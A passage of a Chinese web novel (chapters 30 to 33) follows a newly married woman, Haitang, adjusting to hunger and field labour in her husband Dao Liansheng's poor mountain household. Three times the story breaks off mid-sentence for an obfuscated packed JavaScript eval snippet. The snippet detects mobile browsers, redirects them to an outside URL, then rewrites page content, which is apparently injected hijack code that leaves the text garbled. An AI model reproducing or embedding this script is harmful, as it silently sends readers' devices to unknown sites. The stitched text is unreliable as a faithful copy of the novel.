布帘内,海棠嘤嘤嘤,“都被你看光了,嘤嘤嘤。” 布帘外,刀莲生胸膛剧烈起伏,“不是你叫我过去的吗?” “那你就不能闭着眼?” “我闭着眼咋走路?” “可你那会儿跑过来,眼睛瞪得比牛眼睛还大,还盯着我看了好一会儿!” “我那不是……” 我那不是很惊奇么? 你说她咋能摔在那地方? 脱光了咩肯定应该在圈里面洗澡啊,就是摔倒也应该摔在圈里面,她咋会摔在棚子门口?? 难不成她光着身子猫腰出来看他离开没离开? 呃……这还真有这可能。 那一次她洗澡,她不就进进出出看了他好几次,看他站在什么地方,看他离她有多远…… 哎,真是! 懒得管她了,反正都是她有理! 刀莲生躺回他的床铺上去。 他把那张破凉床补好了,床铺又宽又长。他又铺了几个谷草在上面,他娘给他找了床旧床单铺在谷草上,他伸展了四肢睡,舒舒服服,跟睡卧房里的木架子床已没啥区别了。 只是床铺大了,就给了他翻来覆去的空间。 一大半宿,他在凉床上辗转,难以入眠。 那布帘子里的人还在哼哼唧唧,骂骂咧咧他。 只那哼唧声太吵人,也,太撩人。 30. 第 30 章 刀家早上第一个起的是刀莲生。 铺盖裹成卷儿堆在凉床上,拨开灰堆,把火塘里的火生起来,然后就扯了洗脸帕搭在肩头,再提了铜壶要去灶屋打水煮茶,发现铜壶盖不见了,周围找了一圈儿没找到,以为昨晚落在灶屋了,就提着没盖的铜壶拉开堂屋大门要出去,耳听见钝沉的几声当当当响。 他疑惑的蹙了下浓眉。 大门已拉开,外头晦涩的天光照见屋内,他看见门背后一条麻绳一直牵延到了旁边那个卧房的布帘子里面。 刀莲生摸着那细麻绳,好奇地一路研究它的走向,这时候布帘子撩开,海棠打着哈欠,顶着一头鸡窝钻出来,差点与他撞个满怀。 “你干嘛?”海棠谨慎地乜斜着他。 刀莲生不语,手牵着麻绳继续往前探究。 他撩开布帘子看里面,那绳子一直接到了木架子床顶。绳子尾端吊着一块手掌大小的木材。那个找不到的铜壶盖正绑在床柱子上。堂屋门打开,拴在门背后门闩上的麻绳缩短,吊在空中的木材便落了下来,位置不偏不倚,正晃荡着敲打在铜壶盖上,放出沉闷的当当声…… 为了能吃上一顿晚饭,海棠真是绞尽脑汁,第一个要解决的就是早上睡懒觉起不来床的问题,好叫婆婆没话说。 这木材敲壶盖的方法就是她昨晚半夜想起来的。又偷偷摸摸爬起来把机关做好。 见刀莲生手里提着铜壶,她回去屋里把铜壶盖解下来递给他。 刀莲生神色古怪地看了她一眼,没说什么,接过盖子去了灶屋打水。 雨过天晴,太阳早早地爬上了山坡。 寨子下面绵延往下的水田,一大半都沐浴在晕红地晨光里。 几只小鸟在泥巴剥落的高墙上叽叽喳喳叫着,灶屋茅草棚顶上长着的小草上,歇着一只色彩斑斓的花蝴蝶。 吃过早饭,白氏母女三人下地后,刀莲生扛了把锄头,把包头布戴上,也要出门。 走的时候他给海棠交代了一声,“我去挖田。”顿了下,又说:“晌午时候再回来。” 海棠拖了洗脚盆出来打算洗衣服,闻言,站起身来,想着是不是把盆收起来,跟丈夫下地去。 毕竟这一家子老的小的都下地去了,她这样一个大人,一个成年人也该去下地去干活儿。衣服就是晚上来洗也没关系。 这么想着,海棠就把木盆又嘿哧嘿哧地往灶屋端。 刀莲生明白了她的意图,说:“你就留在家里看屋。” 海棠哦了声,便就没再跟着刀莲生。 海棠在家仍是用水缸里的水把自己昨晚在田里滚脏的衣裙洗干净,晾在灶屋外墙的竹竿上。然后又清洗了尿罐坛子。屋内转来转去,没伙计干了,于是就坐在堂屋门槛上发呆。 太阳在头顶偏斜的时候刀莲生就扛着锄头回来了,后面跟着要回来做午饭的莲叶。兄妹俩嘀嘀咕咕在说着什么,主要是刀莲生说,莲叶乖巧地频频点头。 放下锄头,刀莲生也没歇口气,马不停蹄的挑着空桶又要出去挑水。 海棠看他一头一脸的汗水,脸膛被太阳晒了一上午后,出了些油,黝黑黝黑的,汗珠子反射着太阳的细碎光芒。她有些后悔在家洗衣服了,便跟刀莲生说想要跟去看看洗衣服的地方。 刀莲生看她站起身来时捶了几下后腰,说:“有些远,还要爬坡,下次再带你去认路。或者下午叫莲叶带你去找。” 海棠便就作罢。 弯着腰徒手搓洗了一个多小时的衣服,她也的确累得够呛。 午饭仍是莲叶做。 小姑娘动作快,海棠进灶屋想去帮忙,锅盖上已经冒热气了。 海棠先揭起锅盖来往锅里瞅了眼,看午饭吃什么。 锅盖揭开,是米粥,她立刻就闻到米香味了。 米粥已咕嘟咕嘟煮开,但是一大锅清汤寡水的,海棠怀疑莲叶就只放了一把米,于是她拿起一旁的勺子伸进去搅看。 粥熬得不浓稠,清亮得能数得清米粒。 海棠怏怏地重新盖上锅盖。 灶台边上照例是雷打不动一大把去了蒂的长辣椒。待会儿灶膛不烧火了,莲叶就会把辣椒埋进滚烫的灰堆里烤制。 粥虽清淡,但是浓烈的米香味让海棠感到饥肠辘辘。 “莲叶,中午只喝米粥吗?” “待会儿我还要贴几个玉米饼。” “哦。” 那种玉米杂粮饼,几乎天天吃,不好吃,但是聊胜于无,能涨肚子。 “嫂子,粥快煮好了。贴饼子很快的。早上我走的时候就把玉米面发好了,待会儿直接锅里炕。”莲叶看出来海棠饿了,安抚她说。还腼腆地冲她笑了下,露出脸上两个小酒窝。 莲叶在刀家不咋受重视,平时在家人面前话也不多,跟他哥哥一样是个任劳任怨的性子,上头被娘严厉管着,姐姐莲荷经常欺负她,冷不丁来个对她和颜悦色说话的嫂子,心中欢喜。 莲叶虽然人小,但是很懂事。哥哥娶妻不易,所以,她想看到哥嫂和和美美的。 昨天海棠巴结白氏,白氏反而骂了她一顿,还硬叫她下雨天天都黑了还出门去找哥哥。莲叶看在眼里,很同情这个嫂嫂。她觉得嫂嫂没明白娘的心思,娘只要她多紧着哥哥,哥嫂两个早点生下孩子。 她看海棠放下锅盖,要去打理野香葱。抿了抿嘴,婉转而大胆地提议道:“嫂子,不费多少事,不用你帮忙。你去看看哥哥那里有什么需要你帮忙的没。” 午饭吃得平静,粗茶淡饭,只图个果腹。 饭后,刀家一家子又上坡下田去了。 刀莲生还是要海棠在家看屋,海棠无事可做,最后从牲畜棚里抱了一堆原木出来,找出斧头慢慢地劈柴,如此过了一下午。 五点钟太阳落坡的时候,刀莲生就扛着锄头早早回来了,放下农具,又担着桶去后山寨神林挑水,这次说是要给招满叔家挑。 白桂景和两个女儿不久后也回来了,海棠听婆婆跟莲荷莲叶喟叹说终于把几块地翻完了一遍土,接下来要开始收麻了。 海棠还是去堂屋给婆婆和两个小姑子倒茶送水解渴,然后海棠发现莲叶没有去灶屋做饭的意思。 母女三人把脚洗了个头道,坐着休息了一阵。白氏吩咐刀莲荷把搓好的麻线给堂伯娘家送过去。莲叶则坐在地坝边砍红苕藤喂牛。 白氏脱了上衣,借着天光,找出针线篮子补身上一处被勾烂了的地方。 她眼神儿不太好,补起来慢。为此,她好几次拉着脸瞟海棠一眼。 海棠如坐针毡。她明白婆婆的意思,可她的针线活儿不行,哪里敢开口说让她来帮忙补? 海棠假装收拾木柴,完了后又要去帮莲叶砍红苕藤,可莲叶不让她帮忙,海棠一时就有些无所适从。 其实,她真实目的是想接收了莲叶手里的活儿,好让她腾出手去做晚饭。 海棠自己倒是想去做,但是她昨晚上就摸过坛子了,里面的豆饼已经吃完了。灶屋也没有发现其余的存粮。 做午饭的时候,海棠注意到莲叶端着小半碗米从堂屋出来,所以刀家的粮食不在灶屋,是放在堂屋或是二楼的。她这个婆家的粮食藏得还真是深…… 看婆婆拉着脸又瞟了她一眼,海棠干脆躲到灶屋去坐到起打发时间。 这时候刀莲生挑水回来了,放下扁担,自顾自提起水桶往水缸里倒。他没看见坐在灶膛这边阴影里的她。 海棠见他水桶倒完后就没提桶出去,想是不再挑水了,海棠就轻轻喊了他一声。 刀莲生没应,转身出了灶屋。 可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223367|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没听见,海棠起身追出灶屋。 刀莲生撩着两条大长腿跨进堂屋。 他取了头上的包头布,一边擦拭着头脸上的汗水,一边走到八仙桌上提起那把铜壶,也没用茶碗,仰头直接就着壶口,咕咚咕咚灌下大半壶冷了的酽茶。 茶水顺着汗水,淌过一起一落的喉结。那块包头布已经全打湿了,他扔了它,左手撩起衣摆又往头脸脖子上胡乱抹了一通,如此就露出了他结实的小腹,和裤头上一小撮腹毛。还有他光着的两条膀子,虬扎的肌肉随着他的动作,一鼓一鼓的。 仿佛他浑身上下的每一个细胞,都在叫嚣着他身为雄性生物的力量。 只是海棠看着他,像在看着一盘色香味俱全的美食大餐。 暂时解了渴,刀莲生放下铜壶,这才注意到一双沾了泥土和草木灰的脏污的绣花鞋出现在视线下方。 鞋里的脚没穿袜子,鞋小巧而精美,这说明里面那双脚也是小巧玲珑的,如此,才能装得进去这么一双他手掌大小的布鞋里。 足是天足。 听说汉家女子不裹足的话,代表她娘家人不重视她,不喜欢她。 他们窝尼家的女人不裹脚,崇尚自然。但是没想到她也没裹脚。或许山外汉人的世界又改变规则了。 汉人的江山,总是争来抢去。但他们这些异族人,从来都是被汉人奴役被统治的。 躲在山里也好。山中不知岁月长,管它外面的世界闹得怎么天翻地覆,他只想安安稳稳把自家一家子的小日子过好。 来了寨子里也好些天了,她还没习惯这里赤脚走路的习俗。他家里,屋内屋外都是泥地,一下雨到处泥泞不堪。她两双绣花鞋换来换去的穿,天天洗,也禁不住会被泥土和草木灰糊得没眼看。但她似乎没想过入乡随俗学他们打赤脚走路。 但他倒不希望她打光脚。 这么一双好看的天足,要是长期赤脚行走,会变得又粗又黑的,那就不好看了。 刀莲生默默收回视线,放下衣摆,重新提起铜壶,又翻了一只茶碗出来,给自己倒了满满一碗茶,端起来喝了两口,这才看向海棠。 海棠做贼似的先回头看了看堂屋大门,方欺近他身旁,悄声问他:“娘是不是给你们打了招呼,不给我吃晚饭啊?” 刀莲生才喝了口茶水进嘴,闻言,差点呛到。 “没有的事。”他抹了把嘴角溢出来的茶水。 “那怎么晚上都不喊我去灶屋吃饭呢?”海棠委屈地说。 刀莲生诧异地看她一眼,“我们这里现在就是一天只吃两顿饭的,早饭和午饭。” 海棠啊了声,显然是很吃惊,呆呆的张着嘴。 刀莲生又瞟海棠一眼,见她白生生的脸颊略微有些凹陷,颧骨都显出来了。人也没什么精神,双目无光,显然是饿的。 他敛下歉意的眼,添一句,“你早点习惯了就好了。” 海棠没吱声儿,过了好久她才有点接受了,但是不太死心,追问道:“现在是什么意思啊?” “现在是农闲,要等到农忙的时候才吃三顿。” 海棠眼里又有光了,“农闲吗?可我看你不到天黑就没闲过一刻。那农忙是什么时候?” “需要下大力气的时候。” “到底什么时候?” “打谷子割麦子的时候。” “为什么只吃两顿,吃三顿不好吗?你们晚上都不觉得饿吗?不觉得饿得睡不着觉吗?!”为了顿吃的,这一键三连的反问她几乎是低吼出来。 刀莲生抿直了唇,黝黑的脸膛因背着光辨不出表情。他沉默了片刻,垂着眼道:“现在是青黄不接的时候,不省着点粮食吃,等不到九月收稻子家里就会断炊的,到时候只能出去山外头讨口。” 海棠:“……” 31. 第 31 章 海棠没想到这里的习惯是一日两餐,就是说刀家每天只吃两顿饭,差不多早上十点点左右吃第一餐,下午三点钟左右吃第二餐。不吃晚饭,难怪他们的早饭和午饭时间都吃得晚。 刀莲生看看海棠略显苍白的脸色,又倒了碗温热的酽茶,递给她,说:“明天晌午莲叶做饭的时候,我给她说把米粥面汤多做点,留一碗给你晚上喝。” 海棠看看那碗浓黑的茶汤,点了下头。 刀家那米粥面汤也就那样,清亮亮的,但总也比喝酽茶好。 天边的余光退尽,远处起伏的山峦的影子也逐渐变得模糊。天上的星子一个个出来了,不知打哪儿传来几声狗叫。 刀家的这座两层土楼内,视线已经变得十分模糊。 晚上刀家照例是不点油灯的。 莲叶抱了一堆劈好的木柴进屋来,把火塘的火弄得很旺,照得堂屋亮堂堂的。 白氏叫刀莲荷给她补衣裳,海棠生怕婆婆开口阴阳自己,就赶紧躲到灶屋去了。 刀莲生后头又去外面劈了会儿柴。 那是海棠从牲畜棚里抱出来的木头。 她抱了很大一堆出来,结果力气小了,饭没吃饱,劈了一个多时辰,却连三分之一都没劈到。白氏回来了后,她就没劈了。可木头还堆在院坝里的。刀莲生坐下来,继续劈,直到把所有的木柴劈柴才停手。 劈好的木柴统统收拾进灶屋里,堆到灶膛边。 海棠躲进灶屋的时候,刀莲生才忙完,正从水缸里舀了半桶水出来。 她问:“你要洗澡吗?” “嗯。” “那我给你烧水。” 刀莲生不讲究,而且现在入夏了,他本来是打算直接冲个凉水澡的。海棠这样一说,见她又已经坐到灶膛那边去了,娴熟地抓了张笋壳叶子,打起火镰点火。他迟疑了下,把那半桶水默默倒进铁锅里,盖上锅盖。 “我去拿换洗衣服去。你别烧太热了,温温热就行。” “嗯。” 刀莲生拿了干净衣服回来,海棠这边已经把水烧好了,给他舀在木桶里,刀莲生提了水桶去了牲畜棚,油灯也不拿。他习惯了摸黑洗澡。 那牲畜棚每天进出好几次,闭着眼都知道里面的摆置。 海棠看婆婆不在堂屋,也不在院坝,问莲叶,说是背了一背篼红苕藤去隔壁堂伯娘家给她家喂牛。 自家只有一条牛,这些天红苕藤割得比较多,吃不了,就送去给曹秀珍家的畜生吃。 趁婆婆还没回来之际,海棠赶紧去把刀莲生那张凉床在西墙根儿下搭好,被子给他从卧房抱出去,把床铺铺好。 天气热了,刀莲生嫌睡床单谷草更热。男人天生都是火炉,今天又把床单和谷草都撤了,只睡凉床。早上起床他就把凉床靠墙立起来,铺盖收进了她睡的卧房。这样外人来了,也不会察觉哪里不不对劲儿。 晚上她跟刀莲生还是一直分床睡。 估计夫君跟婆婆讲好了的,婆婆并未因此事对她苛责。但是还是不好当她面给刀莲生整理床铺。 反正,只要婆婆没意见,她也乐得自在。 白氏不久就回来了,照例同女儿们围坐在火塘边搓麻、纺线。 海棠早上起得太早了,又劈了一下午柴,早就又累又困了,就入屋爬上床打算睡觉了,并不想参与帮忙去搓麻纺线。 入屋时她有留意到婆婆脸拉得老长,但她确实很累了,右手臂都抬不起来了,便对白氏的脸色视而不见。 加上得知没得晚饭吃了,便就连哄婆婆的心思也淡了很多。 刀莲生洗澡很快,海棠这边入屋睡觉,他那边就洗好了回堂屋来。 脏衣服丢在门边那个破背篓里,明天女人会给他洗了。 他趿拉着自己那双大木屐跨进门槛,先把屋内扫视一眼。 他女人不在火塘边坐着,只有母亲和两个妹妹在。 刀莲生看看那道蓝色的布帘子,安静地垂挂着,悄无声息。 她可能已经睡了。 刀莲生有时候会觉得奇怪。 她的性子其实蛮随和的呀,想说什么就说什么,不扭捏,自来熟。母亲和妹妹们也是很好相处的人,怎么这女人和他家的女人总不爱呆一块儿呢?不知道她到底怎么想的。 刀莲生去拿了靠在墙脚的水烟筒,再自挂在墙上一个颜色发白的布包里摸了摸,摸出一把碎烟叶,走到火塘边坐下来。 白氏拿着一把麻线又在教刀莲荷如何接,怎么搓,才能把线接得粗细均匀又不易断。刀莲荷一脸不耐烦的听着。 莲叶坐在纺线车前,因为暂时无线可纺,她竖起耳朵听得比姐姐还认真。 白氏示范的时候,莲叶一双黑溜溜的眼睛目不转睛地看着母亲灵活的手指把麻纤维搓成细线,又接成长线,手里抓了两根细麻线跃跃欲试,被走神的刀莲荷一把打掉,斥道:“要你添乱!仔细给我弄乱了,我又得重头来了!” 莲叶就再不敢伸手。 刀莲生抱着水烟筒静静地吸了会儿水烟,对母亲说:“招满叔闪了腰,没个十天半个月干不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233733|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重活。我已经给招满叔和婶儿都说好了,我去给他们家整田。整完后,他家的骡子就白借给我们用,我们只要给它每天草料豆饼喂饱了就行。” 白氏停下手想了想,说:“那会耽搁农时了。” “也不会耽搁太久,最多五六日吧。他家的田已耙平了一些,剩下的我估摸着五六日能弄完。完了后我就赶紧回来整咱家的田。” “这天气越来越热了,我只担心多耽搁个五六日后,天天遇上大太阳,栽下去的秧苗,根都还没长好就晒死了。” “有了骡子,田犁得很快的,犁完后就直接耙平一遍,不用再下第二遍田了。而且照今年的情形看,雨水多,我估摸着这热天气会往后延。” “哎,也只好这样了。”白氏说,“我这身板掌不动也拉不动犁铧,你一个人的话,就只能靠锄头挖。”停顿片刻,“要不让你媳妇儿去给你掌犁铧,你在前面拉着走?” 刀莲生立刻否决了,“那怎么行?我看她那身板儿还没莲荷结实。别田没犁出来,人倒折进去。” 刀莲荷闻言,不忿:“哥,我看她明明是做得少了。你让她去田地里操劳个十天半个月,那身板儿指不定长得比我还壮实。” 刀莲生横妹妹一眼,“你又懂了?就你接这个线,娘教了你多少回,一直接不好,难道你接得少了吗?还是说娘教得少了?” 白氏却说:“莲荷说得没错。她来了咱家几日,是该下地去干活儿了。咱寨子里的女人都下地,你看哪个长得比她弱的?她就是做得少了。” 刀莲生没做声了。 白氏重又起了头说话,“哦对了,你去给招满家的耙田,那你的午饭咋整?” 刀莲生明白母亲问这话的意思,说:“晌午让莲叶给我送田里来吃。” “吃咱自家的呀?” “嗯。骡子是咱求着人家借的,不是人家请我去耙田的。吃人家的不好。” “哎,好吧。” 刀家现在是四个女人加一个男人,刀莲生是家里唯一的男丁,田地里下力气的活儿都得他干。这一大家子都靠他养着呢。 也是这时候,海棠明白了刀莲生对那头骡子的执着。 一头畜生,能让他省多少力气和功夫啊。 哎,娶她个没用的回家,如今她除了能帮忙做点家务活儿,完全就是个摆设,难怪他那么想退婚要回骡子。 家里多了口人吃饭,还是这么大成年人,他要更辛苦的刨地了。 在温饱都困难的时候,婚姻、妻子这些都不重要了。 32. 第 32 章 三日后,刀莲生无论如何也在家里闲不住了,为了借得骡子用,他扛起自家的木耙子去给招满叔家里耙田去了。 丈夫下田干活儿,海棠自然也不能干闲着了,白氏叫她跟着自己去地里割麻,海棠便开始了跟着婆婆和两个小姑子起早贪黑收割自家苎麻的日子。 苎麻是山里人做衣服鞋子的主要原料,也是家里大大小小麻绳的来源,更是一项很重要的钱财来源。 山里人织出来的夏布、做出来的绣了花的成品衣服裤子鞋子,就是粗细麻绳,都可以拿到山外头去换成银钱,再买回来山里人自己产不出来又十分需要的东西。所以,这苎麻对山里人十分重要。 山里人的地,不是种粮食,就是种麻。粮食果腹,麻管穿用。 苎麻一年能收割三次,现在收割的是头茬。头麻质量最佳,二麻和三麻的质量就不行了。所以,山里人很重视这头麻的收割。 刀家的苎麻种在山里的火烧地里。碧约寨的人都这样种。 火烧地就是用火把一片林子烧了,垦出一块地来,烧出来的草木灰就当肥料。 种植靠轮作。这块火烧地种个三五年,地不肥了,就又去新烧一块出来。原来那地就养着,养肥了,回头又继续种。 因为山多林多,尽管开垦,是以山里人不咋缺地,但是这并不意味着大家就一直开垦新地做地主。因为,一来,多一块地就要多交一份赋税。二来,山地很不好。 因为是山坡地,是旱地,缺水严重。并且土层不厚,岩石还多,土地贫瘠。加之离家又远,在山里头,农家肥送过去很麻烦。肥料照顾不到,又缺水的话,种庄稼,收成往往不大好。收成不好的话赋税都交不起,还要往里贴财物,划不着。所以,寨民们更愿意把原有的地好好侍弄,多送肥去,或者种些不需要那么高条件的作物。 像玉米土豆红苕这些,太次的地,就干脆不种这些了,便大量种植苎麻这种一年能收割三茬,且还不需要年年种植的经济作物。 刀家的旱地在坡地林边,离家远,地也很零散。白氏只留了两三块稍好点的地种包谷种红苕,还有一块种了很多辣椒做菜下饭。其余的次地,离家远,但凡能种的地方,都种上了苎麻。 莲叶说等红苕和包谷收了后就能种冬天的菜。来年春天便有不少新鲜蔬菜吃。 第一天去割麻,海棠跟着婆婆和两个小姑子走了起码小半个时辰才到地方。 出寨子、下沟、爬山,那些地几乎是在另一座山上了。 到了地方一看,缓坡上的地里密密麻麻都是苎麻,长得倒是好,有一人多高。 一到地头,白氏就招呼女儿媳妇开干。 海棠看婆婆和两个小姑子,徒手先把麻杆上的叶子一撸到底全撸光,然后拿镰刀将其齐根割倒在地。 她学着割了一排,遭不住了。 她心疼自己的手。 不说割,就说徒手撸叶子,手掌心不断跟麻杆和叶子摩擦,不到片刻的工夫就红了一大片,还沾满了绿色的浆汁。 撸完一排,她觉得自己的手掌都没知觉了。 海棠看婆婆和两个姑子,那手掌都操练得很厚实,掌心里的老茧都起壳了。她想了下,跟在婆婆后面,白氏把麻杆的叶子撸过后,她立马就拿镰刀将其割倒。 白氏年纪大了,弯腰费力。见海棠跟在自己身后割麻,她便只需要站着撸叶子就行了,轻松了很多,就没说什么。 海棠保住了手掌,但是太阳大,干一天活下来,把她晒得出油,白嫩的脸蛋儿也直接黑了两个度。她心疼了手掌又开始心疼脸了。 第二天她已熟悉了情况,武装到牙齿。 为了不晒黑,海棠在家里没翻到草帽,刀家只有斗笠,斗笠是竹子编的,边沿大,又沉,戴那玩意儿就不方便弯腰割麻了,海棠就把刀莲生放在柜子的包头布拿了两块来用,一块用来包头脸脖子,防止晒黑。一块用来包手掌。 为了保护手巴掌,也是为了割麻的时候用力少些,另一块包头布她就绑在右手手掌上。包头布长,她缠了有三圈。这样的话,割麻就轻松了许多。腰弯酸了,想偷下懒,就站着撸麻叶,也不用担心手掌皮肤被麻杆摩擦伤了,肌肤变粗糙。 海棠把自己爱美的经验传授给刀莲荷,说:“莲荷,你下次穿长袖长裤来,最好再像我一样用帕子把头脸脖子都遮住,以防晒得更黑了。” 碧约寨的女人们完全没有汉人女子那么保守,海棠看她们露胳膊露腿很平常,便没大惊小怪。只是太阳这么大,她觉得刀莲荷已经够黑了,应该防一下晒。 今日白氏和小女儿莲叶都是穿的长袖长裤子,唯有刀莲荷穿的短袖短裤,露出了她粗壮黝黑的胳膊和结实的大腿。 只海棠觉得自己是好意,却不想她的这话就得罪了刀莲荷了。 什么叫晒得更黑?意思就是这位嫂子觉得她长得黑咯。 海棠没来之前,寨子里的女人都是又黑又糙的,刀莲荷从不觉得自己黑,并且因为她身子结实,胳膊腿都很粗,颇以为傲。 因为这里的人就认为女人又黑又结实的才好嫁。 可是,这冷不丁来了个白嫩嫩的女人,白得发光,连莲荷自己有时候都要偷看海棠,只觉得她怎么就那么白那么好看,皮肤那么嫩呢?看多了,心生嫉妒。 刀莲荷已经完全忘了又黑又结实的女人才好嫁的观念,她只想要长得像海棠这样又白又嫩,连女人都能看得目不转睛才好! 听了海棠那话,早就看她不顺眼的刀莲荷,语气很冲地回道:“要你管!” 海棠可不知道这个小姑子对自己扭曲的心理。 平时刀莲荷对她冷面冷眼,她只以姑嫂跟婆媳一样是天生相冲来解释,她就没在意。刚才那建议,也就是看见刀莲荷的穿着后随口一说。 此刻海棠闻言,又见刀莲荷那副十分不屑的轻蔑神色,便觉得这小姑子跟叛逆期的中二生一样,是刺头,大人越叫她该怎么干,她越发要对着干。算了,不与她计较这姑嫂头一次交谈态度就如此不好了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254135|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好这时候,那边白氏喊休息下,把午饭吃了,海棠就丢下镰刀,转身往地边走。 因为麻种在山里,离家远了,海棠和婆婆、姑子午饭就不回家吃了,免得路上耽搁时间。 天气热,所以吃冷的也没关系。 因为不回家吃午饭,是以每天早上莲叶一早就要起来做早饭,烙够午饭要吃的杂粮面饼,再用竹筒灌上三筒清水带到山里来。母亲和姐姐、嫂子一人一张饼,一竹筒清水这样。 莲叶晌午的时候要回去给哥哥做热乎的吃,太阳升到头顶她就回去了,午饭做好后她也不来地里了,就待在家里剥麻或者洗衣服等,做点其他家务活儿。 海棠和婆婆刀莲荷的午饭就在坡上解决。 饼子有时候是高粱饼,有时候是玉米饼,但都是掺杂了麸皮和糠壳的粗粮做的,只管果腹,不管口感和味道。 白氏一喊休息下,把饭吃了,海棠第一个丢了镰刀直起身子,捶着腰走出地里。这时候白氏和刀莲荷母女两个的脸上都很精彩,是一样的拉得老长。 海棠注意到了。 但她现在有点破罐子破摔的想法了。 她心头想,我给你们家做农活儿,你们一日才给我两顿吃,我天天晚上饿着肚子睡觉,半夜才睡着,我难道还要照顾你们的情绪吗? 只要她没偷懒,没好吃懒做,咋都说得过去。 在白氏的指挥下,基本上大半天时间割麻,剩下一个时辰就把割倒的麻杆背回家,泡在装满了水的大拌桶里。人手多了,割得多,往往要背两趟才能背完。 待到了晚上从坡上回来,海棠又要在婆婆的指挥下坐在矮板凳上打麻。 打麻就是把麻皮及时从麻骨上分离开来,否则等到水分干了,就只有当柴火烧。 不过因为麻杆背回来就泡在拌桶里的,倒不用担心麻杆变成干柴棒。 就是累。 白天在地里弯腰割了那么久,腰酸背痛,晚上还不能早早休息,还要坐那儿打麻。 打麻完了还要除麻皮。 除麻皮顾名思义,就是把麻纤维外面那层褐色的表皮除掉。 除麻皮要用特制的铁篦子刮。因为这工具刀家只有一个,因此除麻皮就只有一人做。这事儿是白氏的活儿。 篦好的麻丝放在竹竿子上晾晒,一排一排,随风晃动。那几日,刀家的院坝里搭起了很多竹架子。 晒干后,就可以用这些麻丝搓接成或粗或细的麻线了,然后用它们织布、做衣裳、鞋子、麻绳等等。 海棠和两个小姑子的工作就是打麻,重复机械的工作,枯燥乏味,一坐至少一个时辰,打麻打得她打哈欠。 这时候刀莲生终于回来了。 只要天晴,晚上就有月亮。山里的月亮好像离大地很近,天也好像变矮了,所以看那月亮,总是又大又亮。 只要看得见,刀莲生就会在田里干得很晚才回来。 海棠注意到他回来时候,扛着耙的腰身比早上出门的时候弯了不少。 33. 第 33 章 海棠立刻丢下手里的麻杆麻皮,起身去了灶屋给刀莲生烧洗澡水。 刀莲生把耙子放到牲畜棚里,先去堂屋里灌了半肚子酽茶解渴,然后穿上木屐,解开包头布扔桌上,再去墙角扯了挂在麻绳上的洗脸帕来了灶屋。 海棠往灶膛里添了一大夹火钳的笋壳叶子,火把笋壳烧得呼呼作响。 “你洗个澡吧,水快要烧好了。洗烫点,烫一下身子,会减轻疲乏。” “……哦。”刀莲生望着她僵了一会儿,他还没习惯这个情况。反应过来后,转身就要走,走的时候多此一举地说:“我去拿换洗衣服。” “嗯。”海棠笑笑。 刀莲生去了卧房,在衣柜里找出前天海棠给他洗干净的那身,拿在手里又来了厨房。 火大,水很快烧烫了,海棠舀在水桶里,满满一大桶,腾着湿热的雾气。 刀莲生伸手抓着麻绳,臂膀上肌肉偾张,轻轻巧巧就提到了圈棚里。 他洗澡很快,十分钟内就搞定了。 洗完澡,空水桶提回灶屋搁置好,换下的脏衣裳仍是丢在堂屋外面那个破背篓里,入屋去抓了点碎烟叶,提了水烟筒和矮板凳,过来坐在海棠身边,一边抱着水烟筒吸烟,一边看海棠打麻。 看了一会儿,他放下水烟筒,起身去了圈棚,片刻后抱着个好久没用的方形石槽出来。 然后又去了堂屋,转眼就拿了几节燃着明火的木柴出来。 莲叶聪明伶俐,一看哥哥去拿了引火的木柴来,她就起身跑去了灶屋,然后抱了一大捧劈好的干木材来丢在旁边。 燃着的木柴放在石槽里,刀莲生又丢了几块小妹抱来的柴禾进去。夜风再一吹,没一会儿,明火就很旺了,火舌伸到了一米多高,把个拌桶周围照到亮堂堂的。 几个人挪了下位置,围着燃烧的石槽坐。白氏不用再把眼睛凑到拌桶里捞半天,海棠也不用把麻杆拿高先看一眼再剥皮,她打麻的速度快了不少。 就是光线亮了后,刀莲荷就看见了海棠手掌上还缠着她哥的包头布呢,嘴角不悦的一撇。 她哥木头人一样,虽然面上看起来还是寡言少语,不太热情,但是他现在可紧着这嫂子了,昨晚哥哥还为了她把自己凶了一顿。 刀莲荷心疼自己傻哥哥,不愿看着这不愿让哥哥入屋睡觉的女人还这么理直气壮白白享受哥哥对她好。 当下手一指,大声说:“哥,你看她把你的包头布糟蹋成啥样子了?我好好给你绣的花样儿,现在糊满了麻杆汁,恶心死了,你还怎么戴!” 海棠愣了下,侧头看看刀莲生。 刀莲生看看她的右手,然后就收回了视线,闷着头吸烟,烟筒里发出咕嘟咕嘟欢快的声音。 海棠便继续打她的麻,嘴里说:“脏了我给夫君洗干净就是了。洗不干净或是用坏了的话,正好才收了麻,就用今年的新麻给他重新做一块。旧的不去,新的不来。” 